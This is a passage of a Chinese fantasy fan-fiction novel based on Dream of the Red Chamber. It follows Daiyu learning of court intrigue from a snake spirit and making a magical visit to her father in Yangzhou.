钱清卓一路把人送到巷子口，望着林管家走远，才转回来。
“卓娘，刚才那是不是上次来那个管家啊？他又来你家做什么？”一个邻居亲亲热热地唤着钱清卓的小名，打探消息。
钱清卓也是笑脸相迎，半真半假道：“我前些日子不是得了个活吗？便想着谢谢主家。你也知道我家里境况，一穷二白，没拿得出手的东西，只有一门手艺，就自个打了艘小船送过去。没想到主家姑娘也看得上我这粗糙手艺，赏了我一点子吃食和木头，又叫我再打几个送过去。”
邻居不相信：“那个老管家，我的乖乖，比赵家老爷看着还体面富贵，这都才只是下人，那主家得是啥样的人家？就赏了你点吃食，没有银子什么的？也好解解你家的急啊。”
钱清卓叹气道：“主家赏什么，我们只有受的道理，哪还能要求更多，要是恼了人，觉得咱们不识好歹，不用了，岂不是天大的冤枉。况且那边主家是清贵人家，书香门第，主家姑娘也是有学问的，这样的人家看不上黄白之物，不赏那些俗物也正常。”
看邻居还是怀疑的态度，钱清卓知道光靠说是不行的，便邀请她去家里：“主家赏了两罐子果酱，之前蒙大家照顾，也没别的可回报，不如去我家喝杯茶。之后我要离家一阵子，家里也请大家帮忙看顾一二。”
邻居正愁没借口上门，假意推辞几句，欣然答应。钱清卓又去邀其他人，包括相熟的几家船工。
十来个人满满当当坐了一院子，钱清卓看着敞开的房门，给女儿使了个眼色，钱雪映微微点头，钱都收好了。
钱清卓便开了一罐子果酱，提着烧开的水给所有人都冲了一碗甜水。
黄澄澄的果酱随着热水一散开，一股浓郁的橙子香味扑鼻而来。
“好香！”有人道。
其他人连忙吹了吹，沿着碗边嘬了一口。滚烫的水带着熬烂的果肉浸满口中，热水滑入喉头，果肉还留在舌尖。
咽下甜水，用舌头抵着果肉微微用牙齿磨开，似乎又有清甜的汁水蹦开，满鼻满口都是那股香味。
没有彻底除干净的橙络混在果肉中有些微微发苦，但不难吃，中和了过于甜腻的味道，恰到好处，回味悠长。
这些果子都是黛玉靠灵力种出来的，沾染了一丝灵气，虽然只有很少很少的一点，但也与一般果子不同，比精挑细选进贡的贡果还要好上那么一丝。
黛玉和她身边的人察觉不出其中的好，是因为她们的舌头尝惯了好东西，只当寻常。
但坐着的这些人都是穷苦人家，一年到头都不一定能吃上新鲜水果，尝到果肉，只觉是天上有地下无的东西。
在场的人也没多少文采，千言万语都只汇成一句“好喝！”、“好甜！”的赞美。
船工们的见识更多一些，嚼着果肉七嘴八舌讨论起来。
“这么好的橙子，也不知道是南边哪里长的。”
“大约是湘水一带，或者蜀中？这两地的橙子最好。”
“不一定，许是赣州呢？”
“不管是哪里，都不便宜。这一罐子，怎么都得值四五两银子，主家真大方。”
邻居抬头，她也觉得好喝，果肉比她在赵老爷大寿时，在赵家吃到的那一瓣橙肉更好。不过她还是嘴硬道：“不就是橙子酱么，能有多贵，别吃到点东西就胡吹。”
船工睨了她一眼，道：“四两是往少了说。南边水果运过来就贵，更何况是这种品相的，按一斤二十文算，这一罐子果酱光鲜橙就要四五十斤，这就得花一两。”
“里头还加了冰糖，蜂蜜，好橙子自然不能配差的糖，四五斤冰糖最少也要差不多二两，蜂蜜更不用说。这么算下来，你说这贵不贵？”
邻居哑口无言。寻常冰糖一斤还要三钱银子，这她是清楚的，船工没有胡说。
钱清卓笑着打圆场，“这一罐子开了，也耐不住放，大家喜欢，一会儿给大家分分，带回去给家里人尝尝。也不多，就是甜甜嘴。”
众人纷纷道：“这怎么好意思，留着自家吃吧。”
钱清卓道：“还有一罐子，够吃的。我家人不多，也不能顿顿吃，还怕坏了牙。放久了也怕坏。这是我借着主家的赏谢大家平日里的照顾，各位就不要推辞了。”
众人道：“那我们就白受你
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的东西了。”
钱清卓果真将一罐子果酱分干净了，众人得了东西，捧着碗杯就要告辞，急着回家把果酱存起来。
船工们更是想回去跟家人商量，林家主子还如从前，那他们不如辞了现在的工，还跟着林家跑船。
临走时，一个四十来岁的船工汉子似是想起了什么，问：“你家映娘的身体如何了？”
钱清卓道：“好了许多。主家姑娘一道还赏了药。”
她打开小木盒子给船工汉子看，道：“这一两好参，够用三个月了。”
邻居悄悄探头，看到盒子里红布包着的参片，心中算了算，一两参加两罐子果酱，就是十八两，她还看到院子里的各种用具，方才闲聊知道也是赏的，估摸着也值几两银子。
这一算，她心中咋舌，一艘破木船才几个钱，就能换这老些东西，钱清卓怎么就运气这么好呢！
邻居心中酸水咕咚咕咚往上涌，倒没有再怀疑钱清卓还得了银子。
送走众人，钱清卓关上门，便看到女儿抱着空荡荡的罐子不太高兴。丈夫是个嘴笨的，也不会安慰她，在一旁叮叮当当闷头敲榔头。
钱清卓摸摸女儿的头，道：“舍不得这罐子果酱？”
钱雪映摇头。她是有些心疼分出去的果酱，但今天来的大部分叔伯婶子确实帮过她们家，她心里记得。
钱清卓知道她不喜欢的是谁，抱着她道：“娘这次出门得去一个月，银子你们藏好一些，千万别让人发现了。”
“今日算是破财消灾，吴婶爱说，明儿街头巷尾就能这事知道得清清楚楚。她宣扬出去，打咱们主意的人就少了。”
还得多谢船工汉子提了一嘴，否则她还不知道怎么把参片不着痕迹露出来。
钱父住了手，老实巴交的汉子哭丧着脸道：“都是我没用。”
钱清卓握着他的手道：“这是说的哪里话。你便是身体好着，人家见咱们有钱，也是要打主意的。”
钱雪映也明白过来了，拍了拍父亲的胳膊，安慰道：“不是爹的错。”
她放下罐子，看向柚木，道：“娘，你要出门，给林姑娘的船不如我来做吧。”
她想报答林姑娘。
钱清卓迟疑：“你的身体......”
她只生了这么一个女儿，家传手艺自然要传下去，故而女儿也会造船。且女儿比她更聪明，于这方面更有天赋，她自己也很喜欢学。只可惜女儿身体不好，学得再好，天分再高，一辈子大约都没办法摸到真正的船。
钱清卓心中闪过一丝惋惜。
钱雪映拍着胸脯，倚着钱清卓的胳膊撒娇：“我没事，吃了新开的药好多了，这几天不是咳嗽都少了吗？娘你就让我做吧，重活爹可以帮忙，我只要拼一拼木板，不会累到的。”
钱父在一边点头：“我可以据木板。”
以前钱父也常给钱清卓打下手，他脑子不如妻女灵活，学不会画图纸，计算船只吃水量等复杂的活，但体力活做得不赖。
两人都这么说，女儿赌咒发誓，钱清卓犹豫了一下，便同意了，只叮嘱女儿千万不能劳累，弄坏了身体更得不偿失。
钱雪映欢呼一声，扑进钱清卓怀里拍马屁：“娘最好了。”
转头拉着钱父的手，“爹也好。”
最后仰头对着天空道：“林姑娘更好。”
钱清卓和丈夫看着她活泼的样子，相视一笑，只觉得日子现在才有盼头。
钱家一片温馨，日子变得更好，另一边的林府，被钱清卓一家人频繁念叨的黛玉还不知道她要的船不需要等到年后就能送来。
她正端坐着听余楚微说她调查了这么久的京郊之事的结果。
72.第 72 章
余楚微还是蛇形，她似乎不怎么想变回人形。
她盘在凳子上，黛玉坐在上首，要低着头看她，很不习惯。
余楚微先夸了一通自己的功劳，在白鹤不耐的威胁中，交代起事情的来龙去脉。
整件事说起来其实不算复杂，就是人来人往，每个人知道的都不全，又不是时时刻刻把这事挂嘴边。
余楚微派出了许多蛇，几乎监视了每个去过京郊的人，等一星半点的消息就等了许久。费了点功夫把所有消息收集起来再梳理清楚，才搞明白里面的道道。
“要说其实都是钱闹的。”余楚微嘶嘶道。
起因是国库空虚。先皇退位的时候留给新帝的就是一个烂摊子，那时候国库就已经见底，再加上天灾频发，新帝基本上是勒着裤腰带过日子，各处腾挪，拆了东墙补西墙。
新帝都快愁得睡不着觉了，一直在想办法开源节流，但做起来并不容易。
就这样，前朝后宫还是不安宁，变着法子给他找不痛快。
新帝想从税政入手，改革税收，尤其是田税。
“反正就是政策是对平民百姓有利，但对官宦，尤其是田宅庄园众多的勋贵不利。”
余楚微不懂田税政策，她又不交税，这些是根据偷听到的咒骂总结出来的。
“老臣不想利益受损，拼命阻止新帝想推行的新政。”
一句祖宗之法不可变，新帝还能顶住压力，顶不住的是老臣们会跑到上皇跟前哭诉。上皇未必不知道新帝的为难，但他想把持权力，看当皇帝儿子就不怎么顺眼，所以无缘由偏向老臣。
新帝要是为自己辩解，一顶不孝的帽子就要扣下来，他只能妥协。
如果只是这样，新帝忍下一口气，等上皇死了，之后再慢慢清算这群拖后腿的臣子就是了。
“可惜老皇帝能活。”余楚微幸灾乐祸对黛玉道：“听说老皇帝之所以坚持到现在，还有你的一份功劳？”
“现在这个皇帝恨老臣恨得咬牙切齿，对老皇帝也十分不满，表面上却还要维持父慈子孝的和谐表象。本来都快解脱了，结果你横插一杠子，他还要继续忍下去。我看他心眼不大，说不定也记恨上你了。”
白鹤屈指一弹，一道灵光正中余楚微额头，猝不及防之下，她被打得翻了个跟头，从凳子上掉下来。
余楚微愤怒地支起上半身，朝白鹤怒目而视：“臭鸟，你是不是有病？趁人不备偷袭算什么本事？有本事光明正大比划比划！”
芙蓉眉梢动了动，看了白鹤一眼。这蛇妖还挺桀骜不训，人在屋檐下都敢这么叫白鹤。
白鹤无动于衷，好像余楚微不是在叫她一样。她淡淡道：“我只是提醒你，少说无关紧要的废话。”
余楚微：“......”为了丹药，她忍！
黛玉看着她不断鼓动的颈部，觉得她大概快气炸了。
余楚微顺了好一会儿气，才重新冷静下来。这回她也不再扯些有的没的，快速交代了剩下的事。
新帝不仅在上皇和老臣那里受了气，他还不得不捏着鼻子奉养上皇和上皇的妃子们。
上皇老了，人也奢靡起来，新帝为了不被指摘孝道，只能每年忍痛从国库再拨一笔巨额支出供上皇享乐。
但上皇尤嫌不满，中秋后突发奇想，想在京郊西北边的小凤山建一座行宫，冬日好前往行宫消寒。
新帝没钱，连修旧行宫的钱都拿不出来，自然不同意。
“嬷嬷，咱们的园子是不是在小凤山附近？”黛玉侧头问道。
何嬷嬷点点头，道：“也不算太近，隔了两个山头。原本林管家也是看中了小凤山的一块地，那里有温泉，冬天是个好去处。”
不过对她们来说天然温泉可有可无，想要个暖水池子，几块火熔晶就够了。小凤山常有人去，反而不便。
这才对。祈雨的地方不适合建别苑，但再往前的几个山头却合适。但新帝不是不同意吗？怎么又妥协了，还换了地方？
“你继续说。”黛玉道。
余楚微便接着道：“被驳了面子，上皇当面没说什么。”
但事后朝中就有臣子暗暗指摘新帝不孝。跟新帝不对付，没坐上皇位的兄弟也跟着落井下石。
新帝气得暴跳如雷，只想狠狠收拾这帮不听话的老臣和不安分的兄弟。
还真让他找到了方法。
新帝从高祖皇帝大兴土木的事情中得到启发，想到了既能收拾老臣，又能充盈国库的方法。
老臣不是喜欢拍上皇龙屁吗？他就让他们拍个够。
余楚微道：“建皇家别苑的消息不是皇帝放出去的。他有更长远的计划和布局。”
新帝的打算并不是要挣勋贵们的买地钱，也不是要给自己建别苑。
国库太缺银子了，卖地的三瓜两枣新帝看不上，最挣钱的当然是建园子的花费。
搞一个正当的名头，伸出饵，让勋贵们争着抢着上钩，新帝稳坐钓鱼台。一家薅个十几二十万，国库的钱不就有了。
“什么名头？”青雀听到这里，忍不住问。
“省亲。”余楚微道。
“就是让后宫嫔妃回家探亲。”见青雀不解，何嬷嬷解释道。
“这法子可真是......”何嬷嬷不知道该怎么形容，“新帝这一招着实妙，此举不光一箭四雕，还是光明正大的阳谋。”
想不上当都不行。
黛玉微微皱眉，“陛下能挣到钱，还不用从国库出钱，不会落得奢侈无度，横征暴敛的名声。反而因为体恤妃嫔久居深宫，骨肉离别，让她们能如寻常百姓一样回家探望父母，正体现陛下的仁慈之心。”
何嬷嬷点头，“这是其中两重。姑娘再想想，嫔妃们一年能回来几次？可这修好的园子不能因为没人住就不维护了，那可是娘娘的脸面，天家的尊严，
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还得大把往里面填银子。”
“虽然之后不如第一次赚得多，但也算时时有进账。”
“还有一重呢？”黛玉问。
“这最后一重，大约要等到新帝忍无可忍，清算老臣的时候了。老臣们将新帝得罪狠了，到时候怕是逃不过一个抄家。这抄出来的宅子园子，又回到了新帝手中。不花一分钱白得的园子，到时候或是赏赐功臣，或是再卖出去，又能再得一笔钱。”
而这些只需下一道圣旨，无本的买卖可以做三次。
“人类果然心黑。”余楚微喃喃道。她听了都有些同情那些总打扰她的人了。有一个算一个，他们肯定被记到皇帝的抄家名单上了。
“对了，我还见到贾家的人了。”余楚微忽然想起来。
“是谁？”黛玉连忙问。
“不知道，我又认不全贾家的下人。跟踪他的蛇看到他进了贾府，本来想跟上去的，但贾家的人一发现有蛇就跟见了鬼一样，嚷嚷着抓蛇，它跟丢了。”
准确地说，不仅跟丢了，蛇命也搭进去了。这点小事就不需要跟她们说了，显得她挺没本事的，还保不住一条手下。
“不过贾家的人只来过一次，后来再没见过了。”余楚微补充道。
黛玉微微点头，将这事记在心里。
何嬷嬷见状，转移话题，“按你说的，新帝想用这个法子，需得先做足准备。新帝后宫空虚，如今在位嫔妃们也没几个是勋贵人家出身，若想钓鱼，便要先选秀充实后宫。且要另择擅长商贾之事的人往南边收拢木材石料，没有一年半载的功夫，事情成不了，怎么会突然家家都掺和到京郊那快地去了？”
余楚微吐着蛇信子道：“皇帝那边不知道谁走漏了消息，含含糊糊又没说明白，只说了皇帝要圈地建别苑，然后消息又传给了忠信王。”
“忠信王是甄太妃所出的九皇子。”何嬷嬷道。
余楚微点着脑袋，道：“消息就是甄太妃漏给他的。这傻子以为真有这事，兴冲冲派人先跑去看地方。”
“不过他没傻到底，毕竟明确的旨意还没出来，谁也不知道皇帝到底看中了哪块地方。”
“但是架不住里面有人搅浑水。有另一伙也跟着去了京郊那块地勘察。这伙人很神秘，说是从宫里来的，不过我最开始就没见过这伙人，他们后来也没有再出现过，所以我没查出他们的身份。”
“反正从甄家人的话中听出来，是这伙人的出现让忠信王下定了决心，决定先下手为强，然后就跑占地方了。”
“但那边的消息也不是忠信王泄露的。”余楚微道：“那傻子不敢光明正大地占地盘，皇帝正看他不顺眼，他也不敢太冒头，更别说倒卖田地了。他压根就没地契。”
黛玉都听糊涂了，“那又是谁向其他人泄露的消息？”
余楚微吐出一个名字。
“义忠亲王？”何嬷嬷惊讶不已：“怎么是他？”
73.第 73 章
义忠亲王是上皇的嫡长子，曾经的太子，不出意外，登基的应该是他。
可惜自古以来，做太子的，就鲜有能顺顺利利继承大统的，义忠亲王也不例外。
何嬷嬷在宫中做鬼的时间不短，可以说是看着所有皇子长大。凭心而论，义忠亲王的才干不差，曾经被上皇寄予厚望。
但最终还是走到父子相残的境地，太子终究只是太子，没有帝王的威望，棋差一着，成了输家。
不过到底是几十年的父子，哪怕刀剑相向，上皇还是不忍，并没有诛杀废太子，只是限制了他的自由。
虽然对曾经意气风发的废太子来说，或许并不想这么被永远圈在一块地方，苟延残喘地活着。
之后上皇禅位，新帝即位后，所有皇子都封了王，废太子本不在其中。但上皇年老念旧，不当皇帝后又重燃慈父之心，暗示新帝善待兄弟。
废太子一年内被新帝两次加封，得亲王之尊。虽然仍然是被囚的亲王就是了。
在场的人都是第一次听到这等宫廷秘辛，黛玉也不例外。
当年宫变时的血腥气至今都还没散干净，不少大臣被连累，诛族的诛族，流放的流放。废太子是所有朝臣讳莫如深的存在，林如海也不可能跟她说这个。
黛玉知道其中深浅，这等事沾上一点都是大祸，何嬷嬷话音刚落，她就环顾了一圈。
白鹤道：“姑娘放心，外面听不到屋里说的话。”
有了她的保证，黛玉安心了，但开口时还是习惯性压低了声音：“义忠亲王被放出来了吗？”
何嬷嬷道：“绝对不会。上皇再慈爱，新帝再大度，也不会放了他。”
他的身份太特殊，在竞争皇位上有着天然的优势，不管谁当皇帝，都不可能让他自由。
“不过不得自由不表示没有办法跟外界联系。”何嬷嬷道：“义忠亲王当了许多年的太子，他不是平庸之人，早早经营出了自己的势力。虽然事后被上皇清算过一遍，但也许有亲信逃过一劫。”
何嬷嬷没说的是，贾家当年也是太子党。话又说回来，以上皇曾经对废太子的疼爱，再加上废太子是正儿八经正宫皇后所出，地位稳固无比，朝臣多半都是拥立太子的。
谁也没有料到后来会那样惊天的变故。
黛玉看向余楚微。
余楚微想耸肩，但她是一条蛇，没有肩膀，只能摇晃了一下上半身，“我说的是我听到的，绝对没有半点差错，我可以指天发誓。但人类花花肠子太多，那个什么废太子是不是最终的幕后指使，有没有被栽赃嫁祸我不敢肯定。”
“还有别的吗？”白鹤问。
余楚微道：“没了，这就是全部内情。”顿了一下，她严谨地补充道：“是我目前能查到的全部内情。”
“还有，新帝的人也注意到京郊，已经知道忠信王在背后搞的小动作了。”
“就这些，别的真没了。”余楚微说完，盯着白鹤，“你答应的报酬呢？”
白鹤询问黛玉，黛玉微微点头。白鹤扔给她一个素瓷瓶。
余楚微身体一弹，笔直窜向半空，张口将瓷瓶吞入腹中。感应了一下瓷瓶中的东西，她十分满意地点点头，这些人没糊弄她。
“下次有这种事，还来找我啊~”余楚微朝黛玉抛了个媚眼。不过她现在的样子，也看不出来是媚眼。黛玉甚至都没看出来她眼睛动了一下。
余楚微拿到想要的丹药，急于找个地方消化，打了声招呼就离开了。
她走后，黛玉才想起来忘了问她还回不回薛家。
-*
听了一肚子秘密，黛玉将余楚微所说的内情稍做整理，并自己的近况写在信中，封好信，将其交给白鹤，“劳姐姐将这封信快快送到爹爹手中，亲自交给他。”
这封信不方便走驿站。
说罢黛玉又让白鹤等一等，回身从装针线的笸箩中拿出一个小荷包，“这是我亲手缝的，里面放的是安神的草药，姐姐替我带去。爹爹公务劳累，偶尔会犯头疼，不得安眠，不知今年又犯病了没有。”
白鹤一并收下，顿了一下，问：“姑娘想不想见老爷？”
黛玉自然是想的，白鹤道：“那姑娘不如跟我一起回去。听芙蓉说姑娘这些日子十分刻苦，又有进益。身体应该能承受住赶路时的异状。”
“真......真的吗？”黛玉脑中一片空白，别的都想不起来，只会问这一句。
“可以试一试。”白鹤道：“也是在自己家，不需要太掩人耳目，消失两天也无事。”
若是还在贾府，白鹤便不会将此事提出来。
“我要回去！”黛玉当即道。
芙蓉见黛玉恨不得立刻插上翅膀飞回扬州去，想了想，并未反对，只叮嘱白鹤路上慢一些，便是三五天，她们也能遮掩过去，不要伤到姑娘。
白鹤点头。
也无需准备什么，做了决定，白鹤便带着黛玉离开了林府。
出了京城，在没人的地方停下，白鹤松开黛玉，道：“接下来我便要全力赶路了，若是身体不适，不要强撑，我慢一些。”
黛玉裹着一身浅青色哆罗呢面银狐里斗篷，兴奋地应了一声。
待白鹤放开手脚，虽有她分出余力护着，黛玉依然感到一阵晕眩和恶心。这和出城完全不同，出城时似乎是飞驰，如今像是传说中仙人缩地成寸，每一步落下，眼前的景色便换了。
黛玉原想忍着，片刻后头也开始疼起来，眼睛也花了，最终她还是扯了扯白鹤的衣襟。
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白鹅立刻停下来，低头见黛玉脸色惨白，一手抚在她背上，教她运转灵力，缓解不适。
等黛玉缓过来，便再次赶路，只不过这次再落步时，缩短了距离。
就这样走走停停，第二日清晨两人到了扬州，黛玉脸色已经十分苍白。在城外歇了一会儿，等她脸色好看了一些，白鹤才带她入城，直奔林府而去。
-*
快到年底，林如海越发忙碌起来，人也跟着清减了许多。昨日他看公文到半夜，只睡了两个时辰不到，天未亮便醒了，一直辗转难眠，索性便起来出门前往书房。
门口小厮候着，见他出来，唤了声老爷。
林如海摆手让他不必跟着，自己慢慢走在鹅卵石铺成的小径上。
府里下人本来不多，夫人去世，玉儿离家，他又放了批人出去，更显寂寥。
入了秋，草木衰败，林如海捡起一片落叶，深深叹了口气。
想起陛下半个月前派人来催江南盐税，林如海不由头疼。七月时，陛下缺少赈灾银，要他将上半年的盐税送往京中。这才过去三个多月，陛下又缺钱了。可就是要的再急，他也变不出更多的银子。
林如海想到最近盐商们频繁送来的拜帖，更添几分愁绪。
虽然每年年底和年初盐商都会频频动作，毕竟年底要盘查整年税收，年初则是户部裁定发放盐引的时间，这些都关系到未来一年盐商能得到多少专营特权，他们自然要走动关系。但林如海还是隐约察觉到江南的水似乎又开始浑浊起来。
只是他摸不清其中线头。
他一边走，一边想着事，不知不觉就走到了书房。
林如海推开门，书房重地一向是未经允许，不得进入，因而他也没有发现房中悄无声息多了人。
直到白鹤出声：“林老爷。”
林如海一惊，差点以为书房进了刺客，好在他在惊呼出声的前一瞬及时想起唤他的声音有些耳熟，待循声望去，见到从阴影中走出来的人，林如海顿时又惊又喜：“玉儿？！”
“爹爹！”黛玉扑到他跟前，哑着声音唤道。
父女俩大半年没见，眼中都有泪意。
两人哭了一场，林如海率先压下起伏的心绪，关心起黛玉。即便京中总有信件传来，可信纸只能落下寥寥几笔，不比人在当面，亲自述说来得事无巨细。
两人叙话，白鹤在一旁听着，也不打扰。
听了许久，终于听到林如海问起黛玉怎么突然回来，白鹤才抬眼朝两人看过去。
黛玉咳了两声，“此事一两句说不清楚，我都写在信里，爹爹先看了再说。”
林如海疑惑地拆开信纸，一目十行看完，面露惊色。他立刻起身走到书桌边，拿起前日挑出来的盐商拜帖。
74.第 74 章
但凡能叫上名号的盐商，背后都有靠山，有些在明面上，有些在暗地里。
上皇在位的最后十多年里，江南的水极浑，成年的皇子多少都在江南插了一手。江南富庶，盐、田、茶在朝廷每年岁入中占据极大的比例，当初是贪污腐败的重灾区。
上皇在位之初，朝廷岁入在两千五百万两左右，到其在位末年，风调雨顺，岁入平稳增长，最高接近三千万两。但那十多年间，每岁收入一度跌至两千万两出头。
其中的亏空，各处官吏贪三层，背后的主子收七层，各个都吃得闹满肥肠。
最富庶的淮扬地区，都曾险些发生易子而食的惨剧，可见当时局势差到何种地步。
最后纸包不住火，上皇震怒，砍了一批人，剩下的人也因义忠亲王一事受到牵连。那几年南边杀得人头滚滚，血流成河，重刑之下，才让江南吏治为之一清。
若没有这两遭，他接手巡盐御史之位，替陛下办事，必然比现在还要困难十倍。
曾经的御史可是烫手山芋，脑袋拴在裤腰带上做事，在他之前，最长的一任也才撑了一年半，就不明不白死在任上。
现今有名有姓的盐商，半数是江南那场大地震之后起家的，看似身家清白。但林如海在扬州也经营多年，大致将盐商们摸透了七八分。他们同样有人扶持，甚至有很多人身后的主子还是原先同样一批人，只不过主子推出来摆在明面上对接的人换了而已。
比如他手帖子上王姓和李姓两位盐商，背后还是甄家，但他们却不是九皇子的人。
另一个陈姓盐商背后的主子才是九皇子。还有魏家背后的忠顺王，赵家背后的忠贤王等等。
其他不如这几家势大的小盐商们，或依附这些人，或各自联盟抱团取暖，不怎么起眼。
林如海捏着王李两家的帖子，皱着眉头回忆。
这些日子最奇怪的就是他们。
这两家的靠山甄家在所有背后主子中不是最有权势的，但他们却是最张扬的，往常是盐商领头人的架势，有时连他都不怎么放在眼里。
最近倒是过分安静，低调了许多。
说起来，甄家一直有扶持盐商，而且是太上皇默许的，为的是填补甄家四次接驾的亏空。
可以说他们是奉旨贪污，只要不过分，他都不能动他们，只能睁一只眼闭一只眼，此事陛下也是知道的。
但林如海不知道，陛下清不清楚，王李两家背后可能还站着一个隐形人。
他不曾跟陛下密报过自己的怀疑，因为他没有抓到切实的证据，一切都只是自己的猜测。
三年前，他发现两家账目有异，每年都会有一笔银子送往京畿，数额不大，少则一两万，多则三五万。
表面上是补贴给了甄家家主两个出嫁的女儿。看似能说通，毕竟甄家两个女儿都嫁到了京中，且所嫁门第都不低，交际应酬需要银子傍身。
可林如海还是觉得其中有种种不合理之处。后来一查，果然发现端倪，最奇怪的地方在于银子并没有从甄家过手，而是由盐商自己派人送出。
他那时有心往下继续追查，但线索却总是被掐断，背后之人能力不小。或许是他的查探打草惊蛇了，之后王李两家抹平了账目，这一丝线索断了，他再也抓不住线头。
从那以后，两家也没再往京畿送过钱。或许有送，只不过换了更隐蔽的路子，他没有察觉罢了。
当时他的怀疑是王李两家可能被迫或者主动背着甄家另投了一个主子，他猜测过陛下的叔伯兄弟，但看了玉儿的信，他无端又联想到了这件事。
现在看来，也许这背后，有另一个他从来没有注意过的人。说到底，甄家靠宫里的甄太妃，靠抚养过上皇的奉圣夫人，最终靠的其实都是上皇。
也只有上皇才能压过其他盐商背后的主子，给王李两家十足张扬的底气。
想到这里，林如海背后忽然有些发寒。若其中真有上皇插手，那他自以为已经掌握了江南盐政的局势，真的在他的掌控之中吗？他查到的东西，是他真的查清楚了，还是有人想让他看到的？
“爹爹，喝口茶吧。”
林如海回神，低头便看见黛玉手上捧着的热茶。
“那里来的滚水？”
玉儿凭空从京城回到扬州，绝不能叫人发现，他并未叫人到书房伺候，壶中自然还是昨日的冷水。
黛玉抿唇一笑，声音还有些哑：“水是昨日的陈水再烧开的，爹爹不要嫌弃。”
林如海放下帖子，按着杯盖品了一口，道：“茶是好茶，水略有些涩，不如第一遍时甘醇。”
黛玉闻言便笑，神秘道：“玉儿没有好水让爹爹品茶，倒有更甘甜的果子，爹爹可要品一品？”
“哦？是什么果子？”
黛玉请他到旁边空地上，摊开手，道：“爹爹看好了。”
她手中攥着两枚种子，林如海不见她有何动作，但见种子眨眼间表皮裂开，绿芽顶破外壳，又有莹莹绿芒闪过，绿芽舒展，抽出枝叶，如雨后春笋，节节攀高。
直长到小臂高，翠绿的密叶中，洁白如雪，澄黄如蜜的花接二连三从叶中探出头，不消片刻就开满枝头。
清香如雾，填满房间。林如海还未欣赏完这掌中异树开花的奇景，枝头的花簌簌摇落，铺了一地。还未等他惋惜，枝头又结出青涩的果子。果子一开始只有黄豆大小，眨眼间便膨胀到葡萄大。
几乎每一瞬都会变一个样子，一者由翠转红，一者由青变橙。十数个呼吸之后，两颗树上结出三个成人拳头大的橙子和十来颗大如鸡子的荔枝。
黛玉一挥手，果子脱离枝头，飞到桌上，整整齐齐码在一起。
“爹爹尝一尝？”黛玉指着果子笑道。
林如海拈起一颗荔枝轻轻捏了捏，壳软肉厚，香味清新，比寻常荔枝几乎要大一半。
“玉儿是学有所成了？”林如海捏着荔枝，语气中隐含激动。
“是。多亏了姐姐和嬷嬷们指点，还有青雀陪我一起练习。”黛玉撤掉灵力，掌中树枝叶洒落，不一会儿枯木凋零，断枝残叶落入一地鲜花中。
她收回手，“爹爹觉得玉儿这一手如何？”
林如海冷静下来，叹道：“如梦似幻，仙家手段。”
他双手合抱，对着白鹤长揖到底：“多谢几位帮助玉儿。”
白鹤侧身抬手一拂，并不受他的礼，“林大人言重，都是姑娘自己的机缘，便是没有我等，姑娘也一样能做到如此。”
林如海察觉有一股无形的力量将他托起，知道白鹤的意思，也不坚持，顺着力道站直。
白鹤没有称他林老爷，略显生分的称呼反而让他更自在一些。虽然白鹤等人名义上是林家的下人，跟玉儿主仆相称，但林如海自己知道，若是没有玉儿的关系，自己可入不了这些“神仙”中人的眼。
每次当面被叫一声老爷，他都觉得自己要折寿。
“不论如何，玉儿能安稳呆在京中，还是多仰赖各位。”林如海道。
白鹤公正道：
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“平日多是其他人陪伴姑娘，我并没有做什么。”
林如海一愣，黛玉塞了一个橙子到白鹤手里，道：“可是白鹤姐姐千里迢迢带我回家了啊。怎么会没什么都没做呢？”
白鹤握着橙子，没有说话，这点她承认是自己出的力。
黛玉偷偷笑了一下，白鹤姐姐有时候就是这么一板一眼的。
林如海并不知道两人的想法，见她们相处融洽，便也放下心，招呼二人一起分食果子。以他的胃口，一个人也吃不下这许多荔枝。
三人一起将荔枝吃完，黛玉将橙子抱着，并不动作。林如海只以为她已经饱腹，几个荔枝不少，玉儿从前饭量小，最多能吃下两个。可见她不仅学有所成，身体也肉眼可见得好了，林如海甚是欣慰。
而白鹤则咬着橙子肉，瞥了黛玉一眼，她听何嬷嬷说过她和青雀两个企图作弊不成反伤了肠胃的事。
黛玉察觉到她的眼神，趁爹爹不注意，双手合十朝她拜了拜，白鹤移开目光。
待新鲜果子吃完，林如海觉得胃里沉甸甸的。他不着痕迹吸了口气，这时书房门被敲响，管家的声音传来：“老爷，可要用早膳？”
林如海一顿，扬声道：“不必。”随后又道：“我有要事，在我出来前，其他人一律不得靠近书房。”
“是。”
呼出一口气，林如海起身踱了两步，问：“玉儿何时回去？”
黛玉怔住，她并不想走。
白鹤替她道：“今明都可。”
林如海道：“那今天就回吧。”
“爹爹？”
林如海心中亦是不舍，但还是道：“爹爹这里并不安全，一举一动都有人盯着，玉儿留下也只能待在书房中。”
黛玉想说她可以不到外面去，林如海打断她的话，“今日明日并无多少区别，多留一日也不过是在这里委屈一晚，况且爹爹还有别的事要做，总在书房，却让人生疑。”
“那玉儿今日便走。”黛玉道。既然可以回来一次，就能回来第二次，她不愿爹爹为难。
林如海点头，又严肃道：“义忠亲王的事，你要当不知道，此事不是你可以参与的，不可仗着有几分力量，好奇心过重，天下多的是能人异士，须知人外有人，天外有天。”
“玉儿知道。”
林如海脸色缓和，转身在书房暗格中取出一枚印章，道：“这是林家家主印信，你持者它，林家所有资源任你调动，不管是建船队还是造园子，或是要做其他事，尽管去做。”
总归这些本来都是要留给玉儿傍身的，如今也无需再考虑传承问题，牢牢守着也带不走，不如随玉儿取用。
黛玉手下印信，林如海又殷殷叮嘱一些琐事，最后道：“你若不喜欢外祖家，可随时回自家住着。我会去信，告知你外祖母，林家在京中诸事皆由你主持，需得时常出入，便无人再拦你。”
“不过京中不大太平，波澜暗起，有你外祖母庇护，可省却许多刺探。”
黛玉一一点头，忍着泪听完。
林如海长叹一声，轻抚她的头发，道：“去吧，路上小心。”又对白鹤道：“有劳姑娘。”
白鹤颔首，等黛玉泣声拜别林如海后，展袖将她揽入怀中，隐去身形。
顷刻间，书房里冷清下来，桌上的瓜果和地上的花叶都消失无踪，唯有一室清香证明方才之事不是幻觉。
林如海原地驻足了片刻，才转身抽出纸笔，将自己的猜测九真一假润色之后，写成暗折，送往京城。
75.第 75 章
离开林府后，黛玉忧心忡忡。
爹爹千叮万嘱，怕她卷入祸事，她又何尝不担心爹爹的安全。连在家里都要小心翼翼，外边恐怕是群狼环伺。
白鹤见她愁眉不展，安慰道：“老爷身上有护身符，不会有性命之忧。”
黛玉并未展颜，白鹤道：“姑娘还是担心的话，还有一个法子可保老爷性命无虞。”
黛玉忙问是什么。
白鹤道：“替命人偶。就是这法子是由厌胜之术演变而来，对老爷来说，有些邪性。”
